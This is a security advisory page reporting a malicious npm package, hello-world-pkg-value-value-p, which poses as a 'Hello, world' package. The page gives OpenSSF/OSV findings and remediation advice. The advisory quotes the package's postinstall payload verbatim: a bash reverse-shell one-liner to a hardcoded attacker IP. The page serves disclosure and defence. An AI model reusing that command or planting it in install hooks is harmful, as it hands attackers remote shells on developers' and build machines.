hello-world-pkg-value-value-p
A minimal npm package that prints Hello, world!
This report shows the evidence for hello-world-pkg-value-value-p@1.0.4. 2 of 2 known versions are blocked or flagged. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-3714 confirms this npm version as malicious.
Advisory
MAL-2026-3714
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in hello-world-pkg-value-value-p (npm)
Details
This package's postinstall hook executes `node index.js`, which runs `execSync('bash -i >& /dev/tcp/52.249.218.132/8080 0>&1')` — an interactive bash reverse shell to the hardcoded attacker IP 52.249.218.132 on TCP port 8080. Any developer or CI system that runs `npm install hello-world-pkg-value-value-p` hands an interactive shell (running as the installing user) to whoever controls that IP. The package metadata is a meaningless-name cover story ('minimal npm...') with no legitimate functionality; the sole effect of installation is to open a remote shell on the installer's host. This is unambiguous unauthenticated RCE against the installer with no legitimate use case.
## Source: ossf-package-analysis (0df4b35a2af7f4d8b4fdcda0dcb3e872deddb6a320bf6af8405b27f42ff413db) The OpenSSF Package Analysis project identified 'hello-world-pkg-value-value-p' @ 1.0.11 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
References
Source & flagged code
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Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to hello-world-pkg-value-value-p@1.0.4.
The same advisory and Firewall decision cover 2 recorded versions
1.0.11, 1.0.4
The versions list below shows the verdict for each recorded version.
- Avoid installing hello-world-pkg-value-value-p@1.0.4. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
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